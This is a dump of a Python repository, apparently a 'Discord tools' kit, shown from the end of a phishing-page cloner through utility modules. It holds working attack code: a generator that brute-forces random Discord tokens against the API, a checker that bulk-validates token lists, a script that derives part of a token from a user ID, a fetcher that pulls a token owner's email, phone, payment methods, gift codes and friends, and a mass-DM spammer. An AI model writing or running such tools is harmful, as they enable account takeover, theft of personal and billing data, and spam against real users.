print(f"{Colors.red}Phishing attack successful. The file is located in the folder \"{file_html_relative}\"") 91 | else: 92 | print(f"Error with URL. Status code: {response.status_code}") 93 | except Exception as e: 94 | print(f"An error occurred: {e}") 95 | 96 | if __name__ == "__main__": 97 | main() 98 | -------------------------------------------------------------------------------- /utils/status_rotator.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import time 3 | import threading 4 | from pystyle import Colors 5 | 6 | def get_headers(token): 7 | headers = { 8 | 'Authorization': token, 9 | 'Content-Type': 'application/json', 10 | } 11 | return headers 12 | 13 | 14 | def main(): 15 | pass 16 | 17 | def clear(): 18 | print("\033c", end="") 19 | 20 | 21 | def read_status_texts(): 22 | print(f"\n {Colors.red}Entrer le statut que vous voulez mettre et entrer FIN quand vous avez fini :") 23 | status_texts = [] 24 | index = 1 25 | 26 | while True: 27 | line = input('Status {index} : ') 28 | 29 | if line.upper() == "FIN": 30 | break 31 | 32 | status_texts.append(line) 33 | index += 1 34 | 35 | return status_texts 36 | 37 | def get_user_id(token): 38 | headers = get_headers(token) 39 | try: 40 | r = requests.get("https://discord.com/api/v6/users/@me", headers=headers) 41 | if r.status_code == 200: 42 | return r.json()['id'] 43 | else: 44 | return None 45 | except Exception as e: 46 | return None 47 | 48 | 49 | 50 | def change_status(token, text): 51 | headers = get_headers(token) 52 | setting = { 53 | 'custom_status': { 54 | 'text': text, 55 | }, 56 | } 57 | try: 58 | r = requests.patch("https://discord.com/api/v6/users/@me/settings", headers=headers, json=setting) 59 | if r.status_code == 200: 60 | print(f'token={token[:20]}... [SUCCESS]') 61 | else: 62 | print(f"token={token[:20]}...') [ERROR] ({r.status_code})')") 63 | except Exception as e: 64 | pass 65 | 66 | def status_changer(): 67 | clear() 68 | 69 | token = input(f'{Colors.red}Entrez le token: ') 70 | 71 | status_texts = read_status_texts() 72 | 73 | while True: 74 | try: 75 | time_frequency = int(input(f'{Colors.red}Temps entre chaque changement de statut (en secondes) : ')) 76 | break 77 | except ValueError: 78 | print(f'{Colors.red}Veuillez entrer un nombre entier pour le temps.') 79 | 80 | user_id = get_user_id(token) 81 | if not user_id: 82 | print("Impossible de récupérer l'ID de l'utilisateur. Arrêt du programme.") 83 | return 84 | 85 | try: 86 | while True: 87 | for text in status_texts: 88 | thread = threading.Thread(target=change_status, args=(token, text)) 89 | thread.start() 90 | thread.join() 91 | time.sleep(time_frequency) 92 | except KeyboardInterrupt: 93 | print(f"\nInterruption du changement de statut.") 94 | 95 | if __name__ == "__main__": 96 | status_changer() -------------------------------------------------------------------------------- /utils/theme.py: -------------------------------------------------------------------------------- 1 | import os 2 | import fade 3 | from pystyle import Colors, Colorate 4 | 5 | def redorange(text): 6 | faded = "" 7 | green = 0 8 | for line in text.splitlines(): 9 | faded += f"\033[38;2;255;{green};0m{line}\033[0m\n" 10 | if green < 165: 11 | green += 15 12 | if green > 165: 13 | green = 165 14 | return faded 15 | 16 | def yelloworange(text): 17 | faded = "" 18 | green = 255 19 | for line in text.splitlines(): 20 | faded += f"\033[38;2;255;{green};0m{line}\033[0m\n" 21 | if green > 125: 22 | green -= 20 23 | if green < 125: 24 | green = 125 25 | return faded 26 | 27 | 28 | 29 | def custom_gradient(start_color, end_color, steps): 30 | start_r, start_g, start_b = start_color 31 | end_r, end_g, end_b = end_color 32 | 33 | gradient = [] 34 | 35 | for i in range(steps): 36 | r = int(start_r + (end_r - start_r) * (i / steps)) 37 | g = int(start_g + (end_g - start_g) * (i / steps)) 38 | b = int(start_b + (end_b - start_b) * (i / steps)) 39 | gradient.append(f"\033[38;2;{r};{g};{b}") 40 | 41 | return gradient 42 | 43 | orange = (255, 165, 0) 44 | yellow = (255, 255, 0) 45 | white = (255, 255, 255) 46 | green_cyan = (6, 249, 167) 47 | cyan = (6, 234, 253) 48 | gray = (101, 101, 101) 49 | 50 | yellow_to_white = custom_gradient(yellow, white, 25) 51 | orange_to_white = custom_gradient(orange, white, 25) 52 | gray_to_white = custom_gradient(gray, white, 25) 53 | green_to_cyan = custom_gradient(green_cyan, cyan, 25) 54 | 55 | cloudy_primary = f"\033[38;2;{gray[0]};{gray[1]};{gray[2]}m" 56 | tropical_primary = f"\033[38;2;{green_cyan[0]};{green_cyan[1]};{green_cyan[2]}m" 57 | 58 | 59 | themes = { 60 | "default": { 61 | "primary": Colors.red, 62 | "secondary": Colors.white, 63 | "fade": Colors.red_to_white, 64 | "reset": Colors.reset 65 | }, 66 | "cheese": { 67 | "primary": Colors.yellow, 68 | "secondary": Colors.white, 69 | "fade": yellow_to_white, 70 | "reset": Colors.reset 71 | }, 72 | "halloween": { 73 | "primary": Colors.orange, 74 | "secondary": Colors.yellow, 75 | "fade": orange_to_white, 76 | "reset": Colors.reset 77 | }, 78 | "ocean": { 79 | "primary": Colors.blue, 80 | "secondary": Colors.cyan, 81 | "fade": Colors.blue_to_cyan, 82 | "reset": Colors.reset 83 | }, 84 | "old": { 85 | "primary": cloudy_primary, 86 | "secondary": Colors.white, 87 | "fade": gray_to_white, 88 | "reset": Colors.reset 89 | }, 90 | "toxic": { 91 | "primary": Colors.green, 92 | "secondary": Colors.white, 93 | "fade": Colors.green_to_white, 94 | "reset": Colors.reset 95 | }, 96 | "tropical": { 97 | "primary": tropical_primary, 98 | "secondary": Colors.cyan, 99 | "fade": green_to_cyan, 100 | "reset": Colors.reset 101 | } 102 | } 103 | 104 | total_themes = len(themes) 105 | 106 | THEME_FILE = os.path.join('utils', 'theme.txt') 107 | 108 | def save_current_theme(theme_name): 109 | with open(THEME_FILE, 'w') as f: 110 | f.write(theme_name) 111 | 112 | def load_current_theme(): 113 | if os.path.exists(THEME_FILE): 114 | with open(THEME_FILE, 'r') as f: 115 | theme_name = f.read().strip() 116 | if theme_name in themes: 117 | return themes[theme_name] 118 | return themes["default"] 119 | 120 | current_theme = load_current_theme() 121 | 122 | def set_theme(theme_name): 123 | global current_theme 124 | if theme_name in themes: 125 | current_theme = themes[theme_name] 126 | save_current_theme(theme_name) 127 | else: 128 | print(f"Theme '{theme_name}' not found. Using default theme.") 129 | current_theme = themes["default"] 130 | save_current_theme("default") 131 | 132 | def get_current_theme(): 133 | return load_current_theme() 134 | 135 | def theme_banner(text): 136 | current = load_current_theme() 137 | if tropical_primary in current['primary']: 138 | return fade.greenblue(text) 139 | elif cloudy_primary in current['primary']: 140 | return fade.blackwhite(text) 141 | elif Colors.blue in current['primary']: 142 | return fade.water(text) 143 | elif Colors.green in current['primary']: 144 | return fade.brazil(text) 145 | elif Colors.orange in current['primary']: 146 | return fade.fire(text) 147 | elif Colors.red in current['primary']: 148 | return redorange(text) 149 | elif Colors.yellow in current['primary']: 150 | return yelloworange(text) 151 | else: 152 | no_fade = f"""{current['primary']}{text}{current['reset']}""" 153 | return no_fade 154 | 155 | # Example usage 156 | if __name__ == "__main__": 157 | print("Current theme:", get_current_theme()) 158 | set_theme("default") 159 | print("Theme after change:", get_current_theme()) -------------------------------------------------------------------------------- /utils/theme.txt: -------------------------------------------------------------------------------- 1 | default -------------------------------------------------------------------------------- /utils/theme_page.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import time 4 | import threading 5 | from pystyle import Add, Center, Cursor 6 | 7 | sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) 8 | from utils.theme import set_theme, get_current_theme, total_themes, themes 9 | 10 | python_version = sys.version_info 11 | 12 | Cursor.HideCursor() 13 | 14 | def clear(): 15 | system = os.name 16 | if system == 'nt': 17 | os.system('cls') 18 | elif system == 'posix': 19 | os.system('clear') 20 | else: 21 | print('\n'*120) 22 | return 23 | 24 | def count_digits(number): 25 | return len(str(abs(number))) 26 | 27 | tc = count_digits(total_themes) 28 | prev = 0 29 | 30 | def execute_choice(user_input): 31 | global prev 32 | try: 33 | theme_index = int(user_input) - 1 34 | theme_names = list(themes.keys()) 35 | if 0 <= theme_index < len(theme_names): 36 | set_theme(theme_names[theme_index]) 37 | clear() 38 | main() 39 | else: 40 | print(f"\n{get_current_theme()['primary']}Invalid choice. No theme changed.{get_current_theme()['reset']}") 41 | time.sleep(2) 42 | clear() 43 | main() 44 | except ValueError: 45 | if prev == 1: 46 | stop_event.set() 47 | clear() 48 | print(f"\n{get_current_theme()['primary']}Invalid input. Please enter a number.{get_current_theme()['reset']}") 49 | time.sleep(2) 50 | clear() 51 | main() 52 | 53 | if tc == 1: 54 | dury = 0.5 55 | else: 56 | dury = 1.5 57 | 58 | def input_with_timeout(timeout=dury): 59 | def timeout_function(): 60 | time.sleep(timeout) 61 | if not input_ready.is_set(): 62 | input_ready.set() 63 | 64 | input_ready = threading.Event() 65 | timer_thread = threading.Thread(target=timeout_function) 66 | timer_thread.start() 67 | 68 | user_input = "" 69 | try: 70 | user_input = input(f"\nEnter your choice (timeout in {timeout} seconds): ") 71 | input_ready.set() 72 | except KeyboardInterrupt: 73 | pass # Allow user to interrupt input with Ctrl+C 74 | 75 | input_ready.set() 76 | timer_thread.join() 77 | 78 | return user_input 79 | 80 | def main(): 81 | clear() 82 | current_theme = get_current_theme() 83 | icon = f""" 84 | {current_theme["primary"]} ████████████ ████ 85 | {current_theme["primary"]} █████▒░░░░░░░░░░░░▒██ ██▓▓██ 86 | {current_theme["primary"]} █▓▒▒░░░░░░░░░░░░░░░░░░▓██ ███▓▒▒▒▓██ 87 | {current_theme["primary"]} ███░░░░░░░░░░░░░░░░░░░▒███ ████▓▓▒▒▒▒▒▒███ 88 | {current_theme["primary"]} ██▓░░░▓█████▒░░░░░░░░▒███ ██▓▓▓▓▒▒▒▒▒▒▒▒███ 89 | {current_theme["primary"]} ███░░░▓█▒░░░░░▓█▒░░░░░▓██ ██▓▓▓▓▓▒▒▒▒▒▒▒▒▓██ 90 | {current_theme["primary"]} ██▓░░░░██░░░░░░▒█▓░░░░▒██ ██▓▓▓▓▓▒▒▒▒▒▒▒▒▓██ 91 | {current_theme["primary"]} ██▒░░░░░░▓█▓▒▒▒▓█▓░░░░░░▓██ ███▓▓▓▒▒▒▒▒▒▒▓██ 92 | {current_theme["primary"]} █▓░░░░░░░░░░░░░░░░░░░░░░░▒▓██████ ███████████████ 93 | {current_theme["primary"]} ██▒░░░░▒█████▓░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒░████▓▓▓▓██▓██ 94 | {current_theme["primary"]} ██▒░░▒█▓▒▒▒▒▒▒█▓░░░░░░░░░░░░░░░░░░░░░░░▓███▓▓▓▓██▒▒██ 95 | {current_theme["primary"]} ██▒░░▒█▓▒▒▒▒▒▒██░░░░░░░░░░░░░░░░░░░░░░▒████▓▓▓▓██░▒██ 96 | {current_theme["primary"]} █▓░░░▒██▓▓▓██▓░░░░░░░░░░░░░░░░░░░░░▓████▓▓▒▒▒▒██░▓█ 97 | {current_theme["primary"]} ██▒░░░░░░░░░░░▒▓▓█▓▒░░░░░░░░░░░░░░░▓████▓▒░░░▒█▓▓██ 98 | {current_theme["primary"]} ██▒░░░░░░░░▓█▓▒▒▒▒▓█▓░░░░░░▒▒▒░░░░░▒▓██▓▒░░░▒████ 99 | {current_theme["primary"]} ██▓░░░░░░▒█▓▒▒▒▒▒▒▓█▒░░▓█▓▒▒▒▓██░░░░░▓█▒░░░▓███ 100 | {current_theme["primary"]} ██▓░░░░░▒██▓▒▒▒▓█▓░░▓█▒▒▒▒▒▒▒█▓░░░░▓█▒▒░░▓█ 101 | {current_theme["primary"]} ███░░░░░░▒▒▒▒░░░░░▒█▓▒▒▒▒▒▒▒░░░░░▒█▒▒░▒██ 102 | {current_theme["primary"]} ████▒░░░░░░░░░░░░░░▓███▓░░░░░░▒██▓▒░▒██ 103 | {current_theme["primary"]} ████▓▒░░░░░░░░░░░░░░░▒▓██████▓▒░▒██ 104 | {current_theme["primary"]} ███████████████ ███████ 105 | {current_theme["reset"]}""" 106 | themes_text = f"\nAvailable themes:" + "\n" * 2 107 | for i, theme_name in enumerate(themes.keys(), 1): 108 | if themes[theme_name]['primary'] == current_theme['primary']: 109 | theme_name_display = f"{theme_name.upper()} (Current)" 110 | else: 111 | theme_name_display = theme_name.upper() 112 | themes_text += f"{themes[theme_name]['primary']}{i}. {theme_name_display}{themes[theme_name]['reset']}\n" 113 | if tc == 1: 114 | info = "(Press ENTER to exit)" 115 | timeout_duration = 0.5 116 | else: 117 | info = "(PRESS ENTER to finish)" 118 | timeout_duration = 1.5 119 | themes_text += "\n" * 2 + f"Choose a theme by number {current_theme['secondary']}{info}{current_theme['reset']}".strip() 120 | combined_message = Add.Add(icon, themes_text, 2) 121 | 122 | centered_message = Center.Center(combined_message) 123 | print(centered_message, end='') 124 | 125 | # Capture input with timeout 126 | user_input = input_with_timeout(timeout=timeout_duration) 127 | 128 | if user_input: 129 | execute_choice(user_input) 130 | else: 131 | print("\nNo input received in the given time. Exiting...") 132 | clear() 133 | 134 | if __name__ == "__main__": 135 | main() 136 | clear() 137 | -------------------------------------------------------------------------------- /utils/token_checker.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import time 3 | import os 4 | from pystyle import Colors, Colorate 5 | 6 | def clear(): 7 | os.system('cls' if os.name == 'nt' else 'clear') 8 | 9 | def print_title(title): 10 | print(f"{Colors.red}{'=' * 60}\n{title}\n{'=' * 60}{Colors.reset}") 11 | 12 | def print_error(message): 13 | print(f"{Colors.red}Error: {message}{Colors.reset}") 14 | 15 | def print_info(message): 16 | print(f"{Colors.red}{message}{Colors.reset}") 17 | 18 | def print_warning(message): 19 | print(f"{Colors.red}{message}{Colors.reset}") 20 | 21 | def main(): 22 | clear() 23 | 24 | file_path = input(f"{Colors.red}Enter the file path: {Colors.reset}").strip() 25 | 26 | if not file_path: 27 | print_error("No file path provided.") 28 | return 29 | 30 | token_list = load_tokens(file_path) 31 | if not token_list: 32 | print_error("No tokens loaded.") 33 | return 34 | 35 | while True: 36 | check_and_display_results(token_list) 37 | choice = input(f"{Colors.red}\nDo you want to check tokens again? (y/n): {Colors.reset}").strip().lower() 38 | if choice != 'y': 39 | break 40 | 41 | def load_tokens(file_path): 42 | loaded_amount = 0 43 | token_list = [] 44 | try: 45 | with open(file_path, "r") as checklist: 46 | tokens = checklist.readlines() 47 | for token in tokens: 48 | token_list.append(token.strip()) 49 | loaded_amount += 1 50 | print_info(f"{loaded_amount} Tokens Loaded") 51 | input(f"{Colors.red}Press ENTER to start checking tokens...{Colors.reset}") 52 | return token_list 53 | except FileNotFoundError: 54 | print_error("File not found") 55 | input(f"{Colors.red}Press ENTER to exit{Colors.reset}") 56 | return [] 57 | 58 | def check_and_display_results(token_list): 59 | clear() 60 | print_title("Token Checking Results") 61 | valid_tokens = [] 62 | invalid_tokens = [] 63 | rate_limit = False 64 | 65 | for token in token_list: 66 | if rate_limit: 67 | print_warning('Rate limited...') 68 | time.sleep(60) 69 | rate_limit = False 70 | 71 | headers = {"Authorization": token} 72 | try: 73 | r1 = requests.post('https://discord.com/api/v9/auth/login', headers=headers) 74 | if r1.status_code == 429: 75 | rate_limit = True 76 | continue 77 | elif r1.status_code == 401: 78 | print_error(f"Invalid: {token}") 79 | invalid_tokens.append(token) 80 | continue 81 | elif r1.status_code != 200: 82 | print_error(f"Unknown error: {token} (Status Code: {r1.status_code})") 83 | invalid_tokens.append(token) 84 | continue 85 | 86 | r = requests.get('https://discord.com/api/v9/users/@me', headers=headers) 87 | if r.status_code == 429: 88 | rate_limit = True 89 | continue 90 | elif r.status_code == 401: 91 | print_warning(f"Verification required: {token}") 92 | invalid_tokens.append(token) 93 | elif r.status_code == 200: 94 | print_info(f"Valid: {token}") 95 | valid_tokens.append(token) 96 | else: 97 | print_error(f"Unknown error: {token} (Status Code: {r.status_code})") 98 | invalid_tokens.append(token) 99 | 100 | except requests.exceptions.RequestException as e: 101 | print_error(f"Request error: {e}") 102 | invalid_tokens.append(token) 103 | 104 | print("\n\n" + Colors.red + "+" + " Results:" + Colors.reset) 105 | 106 | if valid_tokens: 107 | print_info("Valid tokens:") 108 | for token in valid_tokens: 109 | print(f" + {token}") 110 | 111 | if invalid_tokens: 112 | print("\n" + Colors.red + "Invalid tokens:" + Colors.reset) 113 | for token in invalid_tokens: 114 | print(f" ! {token}") 115 | 116 | if __name__ == "__main__": 117 | main() 118 | -------------------------------------------------------------------------------- /utils/token_decrypt.py: -------------------------------------------------------------------------------- 1 | import os 2 | import base64 3 | from pystyle import Colors 4 | 5 | def clear(): 6 | os.system('cls' if os.name == 'nt' else 'clear') 7 | 8 | def main(): 9 | pass 10 | 11 | clear() 12 | userid = input(f"{Colors.red}Discord ID : ") 13 | encodedBytes = base64.b64encode(userid.encode("utf-8")) 14 | encodedStr = str(encodedBytes, "utf-8") 15 | print(f'\n{Colors.red}FIRST PART : {encodedStr}') 16 | 17 | if __name__ == "__main__": 18 | main() -------------------------------------------------------------------------------- /utils/token_generator.py: -------------------------------------------------------------------------------- 1 | import string 2 | import requests 3 | import json 4 | import random 5 | import threading 6 | import os 7 | 8 | 9 | def main(): 10 | pass 11 | 12 | def clear(): 13 | print("\033c", end="") 14 | 15 | def handle_error(e): 16 | print(f"An error occurred: {e}") 17 | 18 | def create_directory_and_files(): 19 | if not os.path.exists('tokens'): 20 | os.makedirs('tokens') 21 | 22 | with open('tokens/valid_tokens.txt', 'w') as f: 23 | f.write("Valid Tokens:\n") 24 | with open('tokens/invalid_tokens.txt', 'w') as f: 25 | f.write("Invalid Tokens:\n") 26 | 27 | def write_to_file(filename, token): 28 | with open(filename, 'a') as f: 29 | f.write(f"{token}\n") 30 | 31 | try: 32 | clear() 33 | create_directory_and_files() 34 | 35 | try: 36 | threads_number = int(input("Threads Number -> ")) 37 | except ValueError: 38 | handle_error("Invalid number of threads") 39 | threads_number = 1 40 | 41 | def token_check(): 42 | first = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(random.choice([24, 26]))) 43 | second = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(6)) 44 | third = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(38)) 45 | token = f"{first}.{second}.{third}" 46 | 47 | try: 48 | user = requests.get('https://discord.com/api/v9/users/@me', headers={'Authorization': token}).json() 49 | if 'username' in user: 50 | print(f"Valid | {token}") 51 | write_to_file('tokens/valid_tokens.txt', token) 52 | else: 53 | print(f"Invalid | {token}") 54 | write_to_file('tokens/invalid_tokens.txt', token) 55 | except Exception as e: 56 | print(f"Error | {token} | Error: {e}") 57 | write_to_file('tokens/invalid_tokens.txt', token) 58 | 59 | def request(): 60 | threads = [] 61 | try: 62 | for _ in range(threads_number): 63 | t = threading.Thread(target=token_check) 64 | t.start() 65 | threads.append(t) 66 | except Exception as e: 67 | handle_error(e) 68 | 69 | for thread in threads: 70 | thread.join() 71 | 72 | while True: 73 | request() 74 | 75 | except Exception as e: 76 | handle_error(e) 77 | 78 | if __name__ == "__main__": 79 | main() -------------------------------------------------------------------------------- /utils/token_info.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from datetime import datetime, timezone 3 | from pystyle import Colors, Colorate 4 | 5 | def clear(): 6 | import os 7 | os.system('cls' if os.name == 'nt' else 'clear') 8 | 9 | def print_title(title): 10 | print(f"{Colors.blue}{'=' * 60}\n{title}\n{'=' * 60}{Colors.reset}") 11 | 12 | def print_error(message): 13 | print(f"{Colors.red}Error: {message}{Colors.reset}") 14 | 15 | def print_info(message): 16 | print(f"{Colors.green}{message}{Colors.reset}") 17 | 18 | def display_discord_info(token_discord): 19 | try: 20 | headers = {'Authorization': token_discord, 'Content-Type': 'application/json'} 21 | 22 | user = requests.get('https://discord.com/api/v8/users/@me', headers=headers).json() 23 | r = requests.get('https://discord.com/api/v8/users/@me', headers=headers) 24 | 25 | status = "Valid" if r.status_code == 200 else "Invalid" 26 | 27 | username_discord = user.get('username', "None") + '#' + user.get('discriminator', "None") 28 | display_name_discord = user.get('global_name', "None") 29 | user_id_discord = user.get('id', "None") 30 | email_discord = user.get('email', "None") 31 | email_verified_discord = "Yes" if user.get('verified') else "No" 32 | phone_discord = user.get('phone', "None") 33 | mfa_discord = "Yes" if user.get('mfa_enabled') else "No" 34 | country_discord = user.get('locale', "None") 35 | 36 | created_at_discord = "None" 37 | if 'id' in user: 38 | created_at_discord = datetime.fromtimestamp(((int(user['id']) >> 22) + 1420070400000) / 1000, timezone.utc).strftime('%Y-%m-%d %H:%M:%S') 39 | 40 | nitro_discord = {0: 'False', 1: 'Nitro Classic', 2: 'Nitro Boosts', 3: 'Nitro Basic'}.get(user.get('premium_type'), 'None') 41 | 42 | avatar_url_discord = f"https://cdn.discordapp.com/avatars/{user_id_discord}/{user.get('avatar')}.png" 43 | if requests.get(avatar_url_discord).status_code != 200: 44 | avatar_url_discord = "None" 45 | 46 | avatar_discord = user.get('avatar', "None") 47 | avatar_decoration_discord = str(user.get('avatar_decoration_data', "None")) 48 | public_flags_discord = str(user.get('public_flags', "None")) 49 | flags_discord = str(user.get('flags', "None")) 50 | banner_discord = user.get('banner', "None") 51 | banner_color_discord = user.get('banner_color', "None") 52 | accent_color_discord = user.get("accent_color", "None") 53 | nsfw_discord = "Yes" if user.get('nsfw_allowed') else "No" 54 | linked_users_discord = ' / '.join([str(linked_user) for linked_user in user.get('linked_users', [])]) or "None" 55 | bio_discord = "\n" + user.get('bio', "None") 56 | 57 | authenticator_types_discord = ' / '.join([str(authenticator_type) for authenticator_type in user.get('authenticator_types', [])]) or "None" 58 | 59 | guilds_response = requests.get('https://discord.com/api/v9/users/@me/guilds?with_counts=true', headers=headers) 60 | guild_count = "None" 61 | owner_guild_count = "None" 62 | owner_guilds_names = "None" 63 | 64 | if guilds_response.status_code == 200: 65 | guilds = guilds_response.json() 66 | guild_count = len(guilds) 67 | owner_guilds = [guild for guild in guilds if guild['owner']] 68 | owner_guild_count = f"({len(owner_guilds)})" 69 | owner_guilds_names = "\n" + "\n".join([f"{guild['name']} ({guild['id']})" for guild in owner_guilds]) 70 | 71 | billing_discord = requests.get('https://discord.com/api/v6/users/@me/billing/payment-sources', headers=headers).json() 72 | payment_methods_discord = ' / '.join(['CB' if method['type'] == 1 else 'Paypal' if method['type'] == 2 else 'Other' for method in billing_discord]) or "None" 73 | 74 | friends_response = requests.get('https://discord.com/api/v8/users/@me/relationships', headers=headers) 75 | friends_discord = "None" 76 | 77 | if friends_response.status_code == 200: 78 | friends = friends_response.json() 79 | friends_list = [f"{friend['user']['username']}#{friend['user']['discriminator']} ({friend['user']['id']})" for friend in friends if friend['type'] not in [64, 128, 256, 1048704]] 80 | friends_discord = ' / '.join(friends_list) or "None" 81 | 82 | with open('friends_list.txt', 'w', encoding='utf-8') as file: 83 | for friend in friends_list: 84 | file.write(friend + '\n') 85 | 86 | gift_codes_response = requests.get('https://discord.com/api/v9/users/@me/outbound-promotions/codes', headers=headers) 87 | gift_codes_discord = "None" 88 | 89 | if gift_codes_response.status_code == 200: 90 | gift_codes = gift_codes_response.json() 91 | codes = [f"Gift: {gift_code['promotion']['outbound_title']}\nCode: {gift_code['code']}" for gift_code in gift_codes] 92 | gift_codes_discord = '\n\n'.join(codes) if codes else "None" 93 | 94 | print(f"""{Colors.blue} 95 | Status : {status} 96 | Token : {token_discord} 97 | Username : {username_discord} 98 | Display Name : {display_name_discord} 99 | Id : {user_id_discord} 100 | Created : {created_at_discord} 101 | Country : {country_discord} 102 | Email : {email_discord} 103 | Verified : {email_verified_discord} 104 | Phone : {phone_discord} 105 | Nitro : {nitro_discord} 106 | Linked Users : {linked_users_discord} 107 | Avatar Decor : {avatar_decoration_discord} 108 | Avatar : {avatar_discord} 109 | Avatar URL : {avatar_url_discord} 110 | Accent Color : {accent_color_discord} 111 | Banner : {banner_discord} 112 | Banner Color : {banner_color_discord} 113 | Flags : {flags_discord} 114 | Public Flags : {public_flags_discord} 115 | NSFW : {nsfw_discord} 116 | Multi-Factor Authentication : {mfa_discord} 117 | Authenticator Type : {authenticator_types_discord} 118 | Billing : {payment_methods_discord} 119 | Gift Code : {gift_codes_discord} 120 | Guilds : {guild_count} 121 | Owner Guilds : {owner_guild_count} {owner_guilds_names} 122 | Bio : {bio_discord}{Colors.reset} 123 | """) 124 | 125 | input(f"{Colors.yellow}Press Enter to return to the main menu...{Colors.reset}") 126 | 127 | except Exception as e: 128 | print_error(f"Error when retrieving information: {e}") 129 | 130 | if __name__ == "__main__": 131 | clear() 132 | try: 133 | print_title("Discord Info Fetcher") 134 | token_discord = input(f"{Colors.yellow}Enter Discord token: {Colors.reset}") 135 | display_discord_info(token_discord) 136 | clear() 137 | except Exception as e: 138 | print_error(e) 139 | -------------------------------------------------------------------------------- /utils/token_massdm.py: -------------------------------------------------------------------------------- 1 | import json 2 | import requests 3 | import os 4 | import threading 5 | from pystyle import Colors 6 | 7 | def clear(): 8 | os.system('cls' if os.name == 'nt' else 'clear') 9 | 10 | def print_title(title): 11 | print(f"{Colors.red}{'=' * 60}\n{title}\n{'=' * 60}{Colors.reset}") 12 | 13 | def print_error(message): 14 | print(f"{Colors.red}Error: {message}{Colors.reset}") 15 | 16 | def print_info(message): 17 | print(f"{Colors.red}{message}{Colors.reset}") 18 | 19 | def get_dm_channel_ids(token_discord): 20 | try: 21 | response = requests.get("https://discord.com/api/v9/users/@me/channels", headers={'Authorization': token_discord}) 22 | 23 | if response.status_code == 200: 24 | channels = response.json() 25 | dm_channel_ids = [channel['id'] for channel in channels if channel['type'] == 1] 26 | return dm_channel_ids 27 | else: 28 | print_error(f"Status code {response.status_code}: Unable to fetch DM channels.") 29 | return [] 30 | 31 | except Exception as e: 32 | print_error(f"Error fetching DM channel IDs: {e}") 33 | return [] 34 | 35 | def save_ids_to_json(dm_channel_ids, filename): 36 | try: 37 | with open(filename, 'w') as f: 38 | json.dump(dm_channel_ids, f, indent=4) 39 | print_info(f"Saved all DM channel IDs to {filename}.") 40 | except Exception as e: 41 | print_error(f"Error saving IDs to JSON: {e}") 42 | 43 | def MassDM(token_discord, dm_channel_ids, message): 44 | try: 45 | for channel_id in dm_channel_ids: 46 | response = requests.post(f"https://discord.com/api/v9/channels/{channel_id}/messages", 47 | headers={'Authorization': token_discord, 'Content-Type': 'application/json'}, 48 | json={"content": message}) 49 | if response.status_code == 200: 50 | print_info(f"Message sent to channel ID: {channel_id}") 51 | else: 52 | print_error(f"Status code {response.status_code}: Unable to send message to channel ID: {channel_id}") 53 | 54 | except Exception as e: 55 | print_error(f"Error sending message: {e}") 56 | 57 | def execute_mass_dm(): 58 | try: 59 | clear() 60 | token_discord = input(f"{Colors.red}Enter your Discord token: {Colors.reset}").strip() 61 | message = input(f"{Colors.red}Enter the message to send: {Colors.reset}").strip() 62 | output_file = "dm_channel_ids.json" 63 | 64 | dm_channel_ids = get_dm_channel_ids(token_discord) 65 | 66 | if not dm_channel_ids: 67 | print_error("No DM channel IDs collected. Exiting.") 68 | return 69 | 70 | save_ids_to_json(dm_channel_ids, output_file) 71 | print_info(f"Total DM channel IDs collected: {len(dm_channel_ids)}") 72 | 73 | proceed = input(f"{Colors.red}Do you want to send the message to all collected DM channels? (y/n): {Colors.reset}").strip().lower() 74 | 75 | if proceed == 'y': 76 | for channel_id in dm_channel_ids: 77 | t = threading.Thread(target=MassDM, args=(token_discord, [channel_id], message)) 78 | t.start() 79 | t.join() 80 | print_info(f"Finished sending messages to channel {channel_id}.") 81 | else: 82 | print_info("Exiting without sending messages.") 83 | 84 | input(f"{Colors.red}Press Enter to return to the main menu...{Colors.reset}") 85 | 86 | except Exception as e: 87 | print_error(f"Error: {e}") 88 | 89 | def display_menu(): 90 | clear() 91 | menu = f""" 92 | {Colors.red}Atom Tools - Main Menu{Colors.reset} 93 | {Colors.red}───────────────────────────────{Colors.reset} 94 | 1. Mass DM to Discord Channels 95 | 2. Exit 96 | """ 97 | print(menu) 98 | 99 | def handle_menu_choice(choice): 100 | if choice == '1': 101 | execute_mass_dm() 102 | elif choice == '2': 103 | print_info("Exiting program.") 104 | exit(0) 105 | else: 106 | print_error("Invalid choice. Please enter a valid option.") 107 | 108 | def run_menu(): 109 | while True: 110 | display_menu() 111 | choice = input(f"{Colors.red}Enter your choice: {Colors.reset}").strip() 112 | 113 | handle_menu_choice(choice) 114 | 115 | if __name__ == "__main__": 116 | run_menu() 117 | -------------------------------------------------------------------------------- /utils/tools.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Atom", 3 | "version": "2.2", 4 | "developers": [ 5 | "red.(redwxll)", 6 | "blue.(escopeta4020)" 7 | ], 8 | "code": "Python", 9 | "language": "EN", 10 | "creator": "Atom tools", 11 | "discord": "https://discord.gg/toolsfr", 12 | "github": "https://github.com/AtomTools" 13 | } 14 | -------------------------------------------------------------------------------- /utils/tools_info.py: -------------------------------------------------------------------------------- 1 | import webbrowser 2 | from datetime import datetime 3 | import json 4 | import os 5 | import sys 6 | from pystyle import Colors 7 | 8 | sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))) 9 | from utils.theme import set_theme, get_current_theme, themes 10 | 11 | def clear_screen(): 12 | os.system('cls' if os.name == 'nt' else 'clear') 13 | 14 | def print_error(message): 15 | print(f"""{Colors.red}Error: {message}{Colors.reset}""") 16 | 17 | def print_title(title): 18 | print(f"""{current_theme["primary"]}{title}{current_theme["reset"]}""") 19 | 20 | def read_tool_info(file_path): 21 | try: 22 | with open(file_path, 'r') as file: 23 | return json.load(file) 24 | except Exception as e: 25 | print_error(f"Error reading {file_path}: {e}") 26 | return {} 27 | 28 | def display_tool_info(tool_info): 29 | try: 30 | clear_screen() 31 | current_theme = get_current_theme() 32 | print(f""" 33 | {current_theme["primary"]}Name :{current_theme["reset"]} {current_theme["secondary"]}{tool_info.get('name', 'N/A')}{current_theme["reset"]} 34 | {current_theme["primary"]}Coding :{current_theme["reset"]} 